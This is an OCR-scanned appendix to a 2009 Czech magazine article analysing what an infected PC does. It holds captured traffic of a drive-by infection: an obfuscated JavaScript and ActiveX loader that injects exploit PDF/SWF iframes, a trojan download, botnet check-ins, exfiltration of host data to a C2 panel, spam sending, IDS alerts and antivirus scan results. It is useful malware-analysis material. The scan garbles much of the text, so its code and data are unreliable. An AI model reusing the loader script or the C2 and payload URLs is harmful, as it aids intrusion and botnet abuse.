Priloha k ¢lanku: Co provadi infikovany poéitaé?

HTTP PozZadavek - lotmachinesguide.cn

GET /in.cgi?income56 HTTP/1.1

Accept: image/qgif, image/x-xbitmap, image/jpeg, ima
shockwave-flash, */*

Referer: http://www.{REMOVED}.cz/
Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind
Host: lotmachinesguide.cn

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: nginx/0.6.35

Date: Wed, 15 Apr 2009 13:04:18 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close

Set-Cookie: SL_income56_0000=_1 ; domain=mmcounter.

Apr-2009 13:04:18 GMT

Set-Cookie: TSUSER=income56; expires=Sun, 17-Jan-20

domain=mmcounter.com

Set-Cookie: SL_default_0000=_1_; domain=mmcounter.c

Apr-2009 13:04:18 GMT
Location: http://hyperliteautoservices.cn/index.php

d2

<html|>

<head>

<meta http-equiv="REFRESH" content="1,
URL="http://hyperliteautoservices.cn/index.php™>
</head>

<body>

document moved <a href="http://hyperliteautoservice
</body>

</html>
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HTTP PozZadavek - hyperliteautoservices.cn

GET /index.php HTTP/1.1

Accept: image/qgif, image/x-xbitmap, image/jpeg, ima gelpjpeg, application/x-
shockwave-flash, */*

Referer: http://www.{REMOVED}.cz/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind ows NT 5.1; SV1)
Connection: Keep-Alive

Host: hyperliteautoservices.cn

HTTP/1.1 200 OK

Server: nginx/0.6.35

Date: Wed, 15 Apr 2009 13:04:20 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close

X-Powered-By: PHP/5.2.6
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<script>eval(function(l,a,z,k,e,d){e=function(z){re turn(z<a?":e(parselnt(z/a)))+
((z=z%a)>35?String.fromCharCode(z+29):z.toString(36 N}, while(z--
Xif(k[z]){I=l.replace(new RegExp(\\b'+e(z)+"\\b', 'g"),k[z]D)}}return
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A%mM%3%G%3%C%e%1%Cc%Ss%7%1%5%8%9%wW%9%4%8% U %5 YeddeSah6c %0 g% a%3%I1%m%k %% 3%1%n
%9%2%b%8%2%0b%0%2%h%1%2%hb%4%2%7 %2 %h%d%2% 5% n iaiay8oRay %i%h %6 %1%a%H%x%p%A%a%
u%g%y%3%e%z%e%e%a%o0%w%P%e%3%1%Cc%0%4%D %1 %5 % et aufidd¥i388001%n %5%2%hb%8%2%7%2%hb%1
%2%b%d%2%hb%4%2%9%2%b%0%n%0%p%r%j%c%c%0%r %l YoaMHessUsn 00/ oV %0i%h %6 %1%a%H%Xx % p%A%a%
u%g%y%3%e%z%e%e%a%o0%w% P%e%3%1%c%f%d%4%5% m% 9460484186y %05%8% 1% 7%0%d%D%1%c%g
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9%7%9%E %8%T%7%8%0%d%E %5%0%1%4%W%8%5%d% 0%z %882%88 ¥5X48dY8hd %Y %4%0%1%12%1%4%5%5%
N%5%T%5%4%4%0%1%9%5%x%d%5%8%1%X%9%z%4%d%d VT8 09%65%J % 7%4%7%N%7%5%1h%
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%P%r%;j%c%c%0%r%c%c%0%v%i%h%6%6%M%k%a%)%f%F%e Y86A0hB% R0 K %)%l %a%H%x%p%A%a%u%g%ed
%a%3%k%e%3%u%w%U%3%f%e%1%c%18%4%4%7%q%1%3%0Pat%aPadPad00%1%8%z%0%I1%5%I%7%m%d
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%8%e%7%9%I1%5%1%16%1%1%8%n%d%8%n%7%4%d%9%m % 0PdBresPedPd®/0 3% 7 %4%q%7%0%9%0%8%e%4
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d%9%4%5%1%I%0%7%q%5%5%I1%d%1%4%1e%9%0%0% D %4 % 4bTBHBI0 c Yo g %0a%3%I%m %k %f%3%1%Nn%
b%d%2%hb%0%2%hb%4%2%b%8%2%7%2%b%1%2%9%2%5%n % Ha3%0%i %t 0%k % m%y % 3%0%v%i%h%6%6%
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i%h%i%h%6%6%e%a% R %i%h%6%6%1%i%h %6 %6%6%f%F%e % FA828%g%Yy%q%3%m%m%3%Q%3%f%P%e%3%
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e=function(z){return(z<a?":e(parselnt(z/a)))+((z=z %a)>357String.fromCharCode(z+2
9):z.toString(36))};while(z--){if(k[z]){I=I.replace (new

RegExp(\\b'+e(z)+\\b','g"),k[z])}}return
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020]u0029]|u0028|u007c|u0021|u005c|u0026|u0024|u0040
[u0027|u0009|u0061|u0069]|u005€e|u0074|u006c|u002f|lud
06f|u0067|u003d|u0075|u0064|u003b|u0022|u0050[|u002b
|[u006b|u0032|u0078|u004b|u007b|u006d|u007d|u0054|ud
077]u0056|u004f|lu0057|u0046|u0031|u003alu0058|u0039
|[u0049|u004e|u005b|u0059|u0044|u0045|u0037|u003c|un
u0034|u005d".split([)))</script><html>

<body>

<script>

function pdfswf()

.{PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");

for(i in PDF)
{

Lty

Ry
...obj = new ActiveXObject(PDFi]);

...if (obj)
{

....document.write('<iframe src="cache/readme.pdf">

)
)

..catch(e){}
'}

try
{

..obj = new ActiveXObject("ShockwaveFlash.Shockwave
..if (obj)

...document.write('<iframe src="cache/flash.swf"></

!
)

.catch(e){}
}

pdfswf();

</script>
0
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escape|eval|u003flu0033|u0041|

</iframe>");

Flash");

iframe>");



Priloha k ¢lanku: Co provadi infikovany poéitaé?

HTTP PoZadavek - ziskdni souboru load.exe

GET /load.php?id=0 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind
Host: litehitscar.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.6.35

Date: Wed, 15 Apr 2009 13:04:23 GMT
Content-Type: application/octet-stream

Connection: close

X-Powered-By: PHP/5.2.6

Content-Length: 18432

Content-Disposition: attachment; filename=Iload.exe

Crypto-World 9/2009

ows NT 5.1; SV1)



Priloha k ¢lanku: Co provadi infikovany poéitaé?

HTTP PoZadavek - Pfihldseni do botnetu

GET

/new/controller.php?action=bot&entity _list=&uid=1&f
633 HTTP/1.1

Host: 78.109.29.112

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 15 Apr 2009 09:33:28 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive

Version: 1

Content-Length: 179667

Entity-Info:

1239013921:32768:1,1239013932:41984:1;1239013964:84

Rnd: 982031

Magic-Number:
512|1|38:157:20:118:13:251:180:128:50:54:133:225:17
9:129:106:130:86:79:188:44:200:164:87:238:65:107:10
254:187:96:212:34:227:231:117:91:104:223:221:190:47
:75:206:22:101:158:176:182:244:42:180:175:139:137:2
51:85:64:131:77:125:198:52:253:117:127:203:140:229:
8:224:97:74:39:43:35:78:210:186:164:18:61:242:143:4
7:40:34:170:121:48:157:83:16:254:158:56:41:193:135:
8:42:56:234:131:62:118:70:129:159:104:44:24:152:201
6:237:72:150:251:2:180:153:192:249:196:248:228:72:5
4:174:126:57:119:137:28:105:85:134:87:157:29:82:160
:145:11:135:74:6:127:48:24:15:222:151:73:86:33:101:
9:85:21:167:7:111:87:0:1:99:136:75:105:7:123:130:22
77:134:198:187:239:123:150:69:145:62:76:0:149:76:2:
36:255:82:212:58:23:68:236:201:202:178:132:186:45:2
4:232:109:15:75:73:217:49:60:253:48:142:210:106:165
:155:246:103:230:182:87:126:121:64:236:137:139:53:9
172:175:20:42:185:8:198:240:23:97:231:126:72:158:21
94:89:98:76:89:148:164:255:221:84:20:7:13:28:205:25
:156:159:242:60:65:218:64:160:52:162:236:142:55:145
:241:241:25:215:164:144:91:45:207:247:204:193:52:13
43:236:99:16:141:128:3:76:106:244:62:131:203:226:20
5:200:151:18:224:49:112:47:92:93:147:108:235:19:112
104:249:117:68:158:201:46:224:145:197:242:114:246:
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irst=1&guid=1620087188&rnd=981

480:2;1239788112:20435:2;

3:101:229:213:103:131:18:82:11
1:79:103:26:208:153:80:85:122:
:153:235:247:61:67:230:127:175
10:110:112:71:201:216:38:166:1
106:60:156:94:103:81:14:242:21
:38:140:122:166:88:6:139:195:6
251:124:44:14:186:30:157:190:6
:108:169:200:10:226:242:204:10
5:91:142:185:250:247:229:18:14
:210:236:96:203:177:89:176:249
191:118:236:22:20:9:105:180:21
:90:25:95:176:59:197:111:177:1
249:212:77:99:220:201:229:242:
7:255:191:89:75:192:239:152:19
:22:87:111:225:9:243:155:55:14
8:188:113:95:237:255:49:88:165
4:199:23:22:179:160:162:232:3:
4:51:47:229:178:119:132:136:62
:141:20:229:161:28:242:190:234
:156:116:173:208:23:153:94:79:
:38:15:227:30:220:165:83:233:6
:55:125:100:117:1:47:88:21:86:



Priloha k ¢lanku: Co provadi infikovany poéitaé?

HTTP PozZadavek - Hldseni do botnetu 1

GET
/new/controller.php?action=report&guid=0&rnd=981633
e_start;1239013932:unique_start;1239013964:unique_s
HTTP/1.1

Host: 78.109.29.112

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 15 Apr 2009 09:33:30 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 0

Crypto-World 9/2009

&uid=1&entity=1239013921:uniqu
tart;1239788112:unique_start



Priloha k ¢lanku: Co provadi infikovany poéitaé? Crypto-World 9/2009

HTTP PozZadavek - Hldseni do botnetu 2

POST /good/receiver/online HTTP/1.1

Host: 78.109.30.224

Content-Type: application/x-www-form-urlencoded
Content-Length: 16

guid=162008718

HTTP/1.1 200 OK

Date: Wed, 15 Apr 2009 10:57:58 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6

Set-Cookie: PHPSESSID=gggm7g66ihcb6j0bmc3ue66441; p ath=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding
Content-Length: 2

Connection: close

Content-Type: text/html; charset=utf-8
OK



Priloha k ¢lanku: Co provadi infikovany poéitaé? Crypto-World 9/2009

HTTP PozZadavek - Odesilani informaci o stanici

POST /gate/gate.php HTTP/1.0

Host: mixmediadirect.cn

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind ows NT 5.1; SV1,; InfoPath.2;

.NET CLR 2.0.50727; InfoPath.1)

Content-Length: 3582

a=sdfsdfsdnjfksfthskdfhs@sdfsdfsfsd.com&b=my_report& d=report.bin&c=UDNNTAAAAACNhCAA
AEQAAAAAAAAAIAAAAZIVMZGIIGQYSAAAAAAAAABAAAADZ BWEIMAWACQATAGIAEWAAAAAAAACKAAAA
pAAAAAMAAAA3NjQ4ANY02NDEINJESNTQWMYOyMzg2MQAUAAAAQTLTAWMDAXAAAAAAAAAKISTEXGJIEbQN
hFNFEfEAWAAAAAA+53gSUgZBAAAAAAAAAAAAAAAAAAAAAAAAAAASNTMYNQAAAAAAAACAAWAAILD
GQYMAAAABBSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARIRBIQUAAAAAAAAAAQAAADO2QIAAAA
AAAAAAAALAAAAV2VIRmxkcnMgWFABAAAAAAAAAAKAAAASLUWLMMCAAAAAAAAABWAAAABAAAAAMDS
CwCguQQAADAJAAAVFgAA/NBAQFx+BQAAAAAAAACQAAAABQAAAAEOCgAAAgAAAFNICNZpY2UgUGFja
yAyAAAAAAAAKAAAAET/AAAAAAGACPOGAPAGKXyk/wYAGO6QfARX&0/wYAPBURfIzZZCAAAAAAAXPB8GAF
wfT3ec8wgAmMPMIAKeYT3dw8wgAZIhPdwwAigAEAIOAggCBfHz/B gDmIO93DACKAAAAAAAAAAAAAWAAAAA
AAAAFAAAASMVyYcnkDAAAAAQAAAABAAABKRVISWSOWNDYyMKEBMBAQTpPcABQAAAACAAAAWSOWNDYyY
MkRBMDAAZNRcVWQAAABDOIWAFAAAAAMAAAAIAAAAAAIAALY LEAAUABAAAAEQBEXAAUAAAABQAAAAGAA
AAAAGAAhgsQAACIFQAGAAAAAAAAAAQAAAB+BgAABJAAAAEAAAAMR2VUdWIuZUIudGVsBgAAAAIAAA
AEAAAABgYAAACAAAAAAAAADWAAAGPIcNISLTAON]jlyZGEWMAgARMAAAAABAAAAMCOANWIAAAAAAAAAAQ
AAAB/AAABCQAAAAAAAAANAAAAVWSPAGVKIFNOY XRIcwoAAAAAABWAAAEVUZ2Xxpc2gLAAAAAAAAABOA
AABcU3IzdGVtUmM9vdFxTeXN0ZW0zMIxzbXNzLmV4ZQsAAAAAAAAIQAAAFW/P1XDOIXXSUSET1dTXHNSc
3RIbTMyXGNzcnNzLmV4ZQsAAAAAAAAAIAAAAFW/P1XDOIXXSUSELdTXHN5Sc3RIbTMyXHdpbmxvZ29uLm
VA4ZQsAAAAAAAAAIAAAAEMEXFAITKRPV1Ncc3lzdGViMzIcc2Vyd mljZXMuZXhICWAAAAAAAAAJAAAAQzZp
cVOIORE9XU1xzeXN0OZW0zMIxsc2Fzcy5leGULAAAAAAAAABSAAABDOIXXSUSET1dTXHN5C3RIbTMyXHN2
Y2hve3QuzZXhICWAAAAAAAAAFAAAAQZzPcVOIOREIXU1xzeXNOZWBAMIxzdmNob3NOLMV4ZQsAAAAAAAAAH
WAAAEM6XFAJTKRPV1NcU3IzdGVtMzJcc3ZjaG9zdC5leGULAAAA AAAAABSAAABDOIXXSUSET1dTXHN5cC3
RIbTMyXHN2Y2hvc3QuZXhICWAAAAAAAAATAAAAQZPCcVOIOREIXUWXxzeXNOZWO0OzMIxzdmNob3NOLMV4ZQs
AAAAAAAAAFWAAAEM6EXFAITKRPVINCRXhwbG9yZXIuRVhFCwWAAAAAATAAAAQzpcVOIORE9XU1xzeXNO
ZWO0zMIxzcGIvbHN2LmMV4ZQsAAAAAAAAAGWAAAEMBXFAITKRP¥&BIzdGVIMzIcY21kLmV4AZQsAAAAAA
AAAGWAAAEM6XFAITKRPV1NcU3IzdGVIMzIcYWXNLmV4ZQsAAAAAAAHWAAAEMEXFAITKRPV1Ncc3lzdG
VtMzJcd3NjbnRmeS5le GULAAAAAAAAABBAAABDOIXXSUSET1dTXINSc3RIbTMyXHA1Y XVjbHQuZXhICwA
AAAAAAAATAAAAQZzPcVOIOREIXU1xze XNOZWO0zMIX3dWF1Y2x0LM4ZQSAAAAAAAAALWAAAEM6EXFByYb2dyYWOgRmIsZ
XNcSW50ZXJuZXQgRXhwhG9yZXJcaWVacGxvemUuZXhICWAAAAAAACAAAAQzPcRGIjdW1IbnRzIGFUZCBTZXR0a
W5nc1xKZXJyeVxmaWxILmV4ZQsAAAAAAAAAHWAAAEMEXFAITRRINcc3lzdGViMzlcc3ZjaG9zdChleG
ULAAAAAAAAABBAAABDOIXXSUSET1dTXHNSc3RIbTMyXHN2Y2h8QuZXhICWAAAAAAAAAJAAAAQzpcVOI
ORE9XU1xUZW1wXHdwdjMOMTIzOTc4ODEXxMi5leGULAAAAAAAABBRAABDOIXXSUSET1dTXHN5c3RIbTMy
XG5IdHNoLmMV4ZQsAAAAAAAAAIQAAAEMBEXFAITKRPV1Ncc3lzd@GMzJIcd2JIbVx3bWlwenZzZS5leGUMA
AAAAAAAAAOAAABDOIXXSUSET1dTDAAAAAEAAAATAAAAQzPcVREDXU1xze XNOZWO0zMgwAAAACAAAAIwW
AAAEMBXERVY3VtZW50cyBhbmQgU2V0dGIluZ3NcSmVycnlcRGVz8RVCAWAAAADAAAAIAAAAEMEXERPQLV
NRX4xXEplcnJ5XExPQOFMU34xXFRIbXBcDAAAAAQAAAATAAAAQPZRGIjdW1IbnRzIGFUZCBTZXR0aW5n
c1xKZXJyeVXxTdGFydCBNZW51XFByb2dyYW1zXFNOYXJOdXANAARAAAAAAQAAAAGAWAADGAAAAAAAAAEA
AAAWAIAAABAAAAAAAAABAAAACAAAAAVAAAAAAAAAAKAAABBBGUENMVAAAAAAAAAAWAAABEZWZhdW
XO0IFVzZXIVAAAAAAAAAAUAAABKZXIJyeRUAAAAAAAAADAAAAEXSU2VYdmIjIZRUAAAAAAAAADGAAAES
[dHdvemtTZXJ2aWNIUDNNTAIAAAAEAAAAUDNNTAMAAAAEAAAAINT AEAAAAUAAAAAAAAAAAAAAAEAAAA
IJGQYFAZTUWFAAAABAAAAFAZTUWIAAAABAAAAFAZTUWGAAAABARAZTUWIAAAABAAAAFAZTUWKAAAAT
gAAAAEAAAAAAAAAHGAAAEKAZABIAGAAdABpAHQAaQBIAHMAMBUACWAAAAEAAAABAAAAFAAAAAAAAA
AAAAAATOgGAKzpBgCO6QYAUDNNTAWAAAAEAAAAUDNNTA4AAAAEANNTABAAAAEAAAAUDNNTBEAAAA
EAAAAUDNNTBIAAAAEAAAAUDNNTBUAAAAEAAAAUDNNTBY AAMNEARNTBKAAAAEAAAAUDNNTBSAAAAE
AAAAUDNNTCMAAAAEAAAAUDNNTP//IIBAAAAA

HTTP/1.1 200 OK

Date: Wed, 15 Apr 2009 13:22:30 GMT

Server: Apache/2.2.8 (EL)

X-Powered-By: PHP/5.2.6

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8



Priloha k ¢lanku: Co provadi infikovany poéita¢? Crypto-World 9/2009

HTTP pozZadavek - Detail hldseni stanice
0001 0203 0405 0607 0809 OAOB 0COD OEOF 0123f56789ABCDEF

1EQ 0CO0 2A00 0000 0000 0000 0000 0300 0000 ..5.....cc ...
1F0 0000 0000 0500 0000 4R65 7272 7903 0000 . ....... JEXry...
200 0001 0000 OO00F 0000 0044 4552 5259 2D30 .. ..vuuns JERRY-0
210 3436 3232 4441 3030 0400 0000 413A 5CO00 4622DROO0....HR:N.
220 1400 0000 0200 0000 532D 3034 3632 3244 . ....... Y-04622D
230 4130 3000 &&74 SC57 0400 0000 433R S5CO00 AOCO.fth\W....C:h.
240 1400 0000 0300 0000 0800 0000 0002 0000 .. ve v v v v s nmmnnss
250 8608 1000 0O0OAZ 1500 0400 0000 4438 5CO00 t....¢...... D:h.
260 1400 0000 O500 0000 0200 0000 0002 0000 .. .v v o mmenns

270 240B 1000 0O0OAZ2 1500 0600 0000 0000 | .o i nnnnan
280 0400 0000 0000 0600 0000 0100 0000 @ .. ..o~ ieewannnns
OCO0 0000 &7 6E7S5 696E 6549 BET4 &56C ... .Eer.'_:"_r_eir.te'_
0000 0000 0400 0000 F206 0000 @ ... ... ean O...
0000 0000 0000 OFO0 0000 &RES T2T2 . uv e vvwwa- jerr
T92D 3034 3632 3264 6130 3008 0000 0000 y-04622dafl.....
0000 0004 0000 0O0CO AS00 DCOE 0000 0000  ....... R o
0000 0004 0000 OOTF 0000 0109 0000 0000 @ .......0.0.......
Q000 000D 0000 0055 6E6% 7465 £420 5374 L. ... Tnited 5t
300 6174 6573 OAOQOD 0000 0000 Q0000 OT00 0000 ALES .. v v s sssss-
310 456E &76C 6973 6&20B 0000 0000 0000 001D English.........
320 0000 0O05C 7374 656D 526F 6F74 5C53  ...%5v=atemRooth 5
3 7465 Z2Z5C 738D 7373 ZEES TE28: vys=tem3Ilhsmss.exe

00 0000 00 Q000 2100 0000 5C3F 3F5C oo vwesee oo 274

350 433R 5C57 E 444F 5753 5C73 7973 7465 C:A\WINDOWS\.=vs=te
33 325C 6373 T273 T3ZE 6572 650B 0000 m3Z\csSrss.eXe...

370 0000 0000 0024 0000 O0O05C 3F3F 5C43 3A5C .. ...5...%22%C:h
380 57492 4E44 4F57 535C 73792 7374 656D 3332 WINDOWS\=svstem3?Z
390 5C77 6%6E 6CEF &76F 6EZE 6578 &50B 0000 ‘\winlogon.exe...
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Priloha k ¢lanku: Co provadi infikovany poéitaé? Crypto-World 9/2009

HTTP PoZadavek - Piikaz ke staZeni souboru

GET /bt.php?mod=&id=jerry-04622da00_1620087188&up=2 68046&mid=soboc43 HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind ows NT 5.1; SV1)

Host: af9f440dcc.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Transfer-Encoding: chunked

X-Powered-By: PHP/5.2.6

Content-type: text/html

Date: Wed, 15 Apr 2009 10:10:46 GMT

Server: lighttpd/1.4.19

44

0SLP:3600;MOD:dAjvlbv5;URL:http://spaeioer.com/741l 3.exe;SRV:stoped,
0

11


http://spaeioer.com/741l3.exe;SRV:stoped

Priloha k ¢lanku: Co provadi infikovany poéitaé?

SMTP PoZadavek - Rozesilani SPAMu

220 mtal32.mail.ac4.yahoo.com ESMTP YSmtp service r eady
EHLO {REMOVED}.cz
250-mtal32.mail.ac4.yahoo.com

250-8BITMIME

250-SIZE 31981568

250 PIPELINING

MAIL FROM:<mokk@bosglazier.com>

RCPT TO: <ondrugsagain@yahoo.com>

RCPT TO: <starl_diva@yahoo.com>

RCPT TO: <jen_jer_p@yahoo.com>

RCPT TO: <terellmoss2k5@yahoo.com>

RCPT TO: <cnc53@yahoo.com>

RCPT TO: <storm_crow72842@yahoo.com>
RCPT TO: <maxvarvak@yahoo.com>

RCPT TO: <bobi_ray@yahoo.com>

RCPT TO: <vanessaowens69@yahoo.com>
RCPT TO: <vanessa_06_adrian@yahoo.com>
DATA

250 sender <mokk@bosglazier.com> ok

250 recipient <ondrugsagain@yahoo.com> ok
250 recipient <starl_diva@yahoo.com> ok

250 recipient <jen_jer_p@yahoo.com> ok

250 recipient <terellmoss2k5@yahoo.com> ok
250 recipient <cnc53@yahoo.com> ok

250 recipient <storm_crow72842@yahoo.com> ok
250 recipient <maxvarvak@yahoo.com> ok

250 recipient <bobi_ray@yahoo.com> ok

250 recipient <vanessaowens69@yahoo.com> ok
250 recipient <vanessa_06_adrian@yahoo.com> ok
354 go ahead

Crypto-World 9/2009

Received: from [88.208.99.58] by maill.mxsmtp.com; Wed, 15 Apr 2009 11:12:13

+0100

Date:.Wed, 15 Apr 2009 11:12:13 +0100

From:."Eula Metcalf" <mokk@bosglazier.com>

X-Mailer: The Bat! (v3.5) Educational

Reply-To: mokk@bosglazier.com

X-Priority: 3 (Normal)

Message-ID: <5687348120.97619803460734@bosglazier.co m>

To: ondrugsagain@yahoo.com

Subject: Re:

MIME-Version: 1.0

Content-Type: text/html;
charset=Windows-1252

Content-Transfer-Encoding: 7bit

<IDOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transi tional//EN">
<HTML><HEAD><TITLE></TITLE>

</HEAD>

<BODY>

<body>

<html>

We glad present new Project : <a href="http://mi
size="3">MaxGentleman</a>

</body>

</html>

</BODY></HTML>

451 Message temporarily deferred - [70]

12

ndcame.com"><font


http://mindcame.com"><font

Priloha k ¢lanku: Co provadi infikovany poéitaé?

Hlaseni IDS

04/15-12:09:25.972400 [**] [1:2400008:1577] ET DRO
Inbound [**] [Classification: Misc Attack] [Priorit
a.b.c.d:1077

04/15-12:09:28.201208 [**] [1:2400008:1577] ET DRO
Inbound [**] [Classification: Misc Attack] [Priorit
a.b.c.d:1078

04/15-12:09:32.737372 [**] [1:2009353:4] ET TROJAN
Communicating With Controller (1) [**] [Classificat
detected] [Priority: 1] {TCP} a.b.c.d:1087 -> 78.10
04/15-12:09:32.737372 [**] [1:2008501:2] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1087 -> 78.109.29.112:80

04/15-12:09:33.648512 [**] [1:2009388:2] ET TROJAN
Binaries from Controller [**] [Classification: A Ne
[Priority: 1] {TCP} 78.109.29.112:80 -> a.b.c.d:108
04/15-12:09:34.932814 [**] [1:2009354:4] ET TROJAN
Communicating With Controller (2) [**] [Classificat
detected] [Priority: 1] {TCP} a.b.c.d:1088 -> 78.10
04/15-12:09:34.932814  [**] [1:2008501:2] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1088 -> 78.109.29.112:80

04/15-12:09:41.321818 [**] [1:2007828:6] ET TROJAN
[Classification: A Network Trojan was detected] [Pr
->213.155.6.34:80

04/15-12:09:41.321818 [**] [1:2008469:2] ET TROJAN
[Classification: A Network Trojan was detected] [Pr
->213.155.6.34:80

04/15-12:10:16.175359 [**] [1:2007771:8] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1096 -> 74.54.77.82:80

04/15-12:10:16.175359  [**] [1:15165:2] BACKDOOR Pu
attempt [**] [Classification: A Network Trojan was
a.b.c.d:1096 -> 74.54.77.82:80

04/15-12:10:36.738041 [**] [1:2007771:8] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1097 -> 74.54.135.202:80

04/15-12:10:36.738041  [**] [1:15165:2] BACKDOOR Pu
attempt [**] [Classification: A Network Trojan was
a.b.c.d:1097 -> 74.54.135.202:80

04/15-12:10:56.571111  [**] [1:2008349:4] ET TROJAN
[Classification: A Network Trojan was detected] [Pr
->83.133.127.5:80

04/15-12:10:56.571111  [**] [1:2008473:3] ET TROJAN
Activity [**] [Classification: A Network Trojan was
a.b.c.d:1107 -> 83.133.127.5:80

04/15-12:15:16.036375 [**] [1:2007771:8] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1308 -> 74.54.77.82:80

04/15-12:15:16.036375  [**] [1:15165:2] BACKDOOR Pu
attempt [**] [Classification: A Network Trojan was
a.b.c.d:1308 -> 74.54.77.82:80

04/15-12:16:19.351760 [**] [1:2007771:8] ET TROJAN
[**] [Classification: A Network Trojan was detected
a.b.c.d:1327 -> 75.125.238.10:80
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P Spamhaus DROP Listed Traffic
y: 2] {TCP} 94.247.3.150:80 ->

P Spamhaus DROP Listed Traffic
y: 2] {TCP} 94.247.3.151:80 ->

Bredolab/Gumblar Downloader
ion: A Network Trojan was
9.29.112:80
Peed Report to Controller
] [Priority: 1] {TCP}

Bredolab Downloader Response
twork Trojan was detected]
7
Bredolab/Gumblar Downloader
ion: A Network Trojan was
9.29.112:80
Peed Report to Controller
] [Priority: 1] {TCP}

LDPinch Checkin (2) [**]
iority: 1] {TCP} a.b.c.d:1095

LDPinch Checkin v2 [**]
iority: 1] {TCP} a.b.c.d:1095

Pushdo Update URL Detected
] [Priority: 1] {TCP}

shdo client communication
detected] [Priority: 1] {TCP}

Pushdo Update URL Detected
] [Priority: 1] {TCP}

shdo client communication
detected] [Priority: 1] {TCP}

Injecter Checkin [**]
iority: 1] {TCP} a.b.c.d:1107

HotLan.C Spambot Trojan
detected] [Priority: 1] {TCP}

Pushdo Update URL Detected
] [Priority: 1] {TCP}

shdo client communication
detected] [Priority: 1] {TCP}

Pushdo Update URL Detected
] [Priority: 1] {TCP}



Priloha k ¢lanku: Co provadi infikovany pogéita¢?

Test antiviri

Crypto-World 9/2009

Soubor C:/Documents and Settings/]Jerry/Local Settings/ Temporary Internet
Files/Content.IE5/412ZGDAB/load[1].exe

'Soubor load_1_.exe p

Fijaty 2009.04.15 14:16:19 (CET)

Antivirus Ver%e zﬁﬂzﬁ;;ce Vysledek
la-squared 4.0.0.101 2009.04.15 |Trojan-Downloader.Win32.Injecter!IK
\AhnLab-V3 50.0.2 2009.04.15 |

/AntiVir 7.9/0.143 2009.04.15 ITR/Dropper.Gen
/Antiy-AVL 2031 2009 04.15 |

\Authentium 5.1.2.4 2009.04.14 |

|Avast 4/8.1335.0 2009/04.14 |

IAVG 18.5.0.287 2009.04.15 |

BitDefender 7.2| 2009.04.15 |

|CAT-QuickHeal 10.00 2009.04.15 |

\ClamAV 0.94.1 2009.04.15 |

\Comodo 1115 2009.04.15 |

IDrWeb 7.44.0.09170 2000.04.15 Trojan.Botnetlog.3
leSafe 7.0.17.0 2009.04.13 |

leTrust-Vet 31.6.6455 2009.04.14 |

F-Prot 4.4.4.56 2009.04.14 |

IF-Secure 8.0.14470.0 2009.04.15 |

[Fortinet 3.117.0.0 2009.04.15 \W32/Cimag.AE!tr
\GData 19 2009.04.15 |

lIkarus T3.1.1.49.0 2009.04.15 Trojan-Downloader.Win32.Injecter
[K7AntiVirus 7.10.704 2009.04.15 |

\Kaspersky 70.0.125 2009.04.15 | Trojan-Downloader.Win32.Injecter.crd
\McAfee 5584 2009.04.14 |

IMcAfee+Artemis 5584 2000.04.14 |
IMcAfee-GW-Edition  6.7/6 2009.04.15 |Trojan.Dropper.Gen
\Microsoft 1.4502 2009/04.15 |

INOD32 14009 2009.04.15 \Win32/Cimag.AE
INorman 6.00.06 2009.04.14 |

InProtect 2009.1.8.0 2009.04.15 - |

\Panda 10.0.0.14 2009.04.14 |Suspicious file
IPCTools 44.2.0 2009.04.14 |

Prevx1 V2 2009.04.15 |

Rising 21.25.23.00 2009.04.15 |Trojan.Win32.Nodef.idr
'Sophos 4.40.0 2009.04.15 |

'Sunbelt 3.2.1858.2 2009.04.15 |

'Symantec 14.4.12 2009.04.15 |Backdoor.Trojan
TheHacker €/3.4.0.309 2009 D4.15 |

TrendMicro 8.700.0.1004 2009.04.15 - |

\VBA32 8.12.10.2 20009.04.12 |

\ViRobot 2009.4.15.1694 2009 04.15 |

\VirusBuster 4.65.0 2009.04.15 - |
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Priloha k ¢lanku: Co provadi infikovany pogéita¢?

Soubor C:/Documents and Settings/Jerry/file.exe

Crypto-World 9/2009

'Soubor file.exe p

Fijaty 2009.04.15 14:15:34 (CET)

Antivirus Ver%e zl?tilZI(ijznallce Vysledek
la-squared 4.0.0.101 2009.04.15 | Trojan-Downloader.Win32.Injecter!lK
\AhnLab-V3 5.0.0.2 2009.04.15 |

/AntiVir 7.9,0.143 2009.04.15 ITR/Dropper.Gen
/Antiy-AVL 2.03.1 2009 04.15 |

|Authentium 5.1.2.4 2009 04.14 |

|Avast 4/8.1335.0 2009,04.14 |

IAVG 18.5.0.287 2009.04.15 |

BitDefender 7.2| 2009.04.15 |

|CAT-QuickHeal 10.00 2009.04.15 |

IClamAV 0.94.1 2009.04.15 |

\Comodo 1115 2009.04.15 |

IDrweb 4.44.0.09170 2009.04.15 |Trojan.Botnetlog.3
leSafe 710.17.0 2009.04.13 |
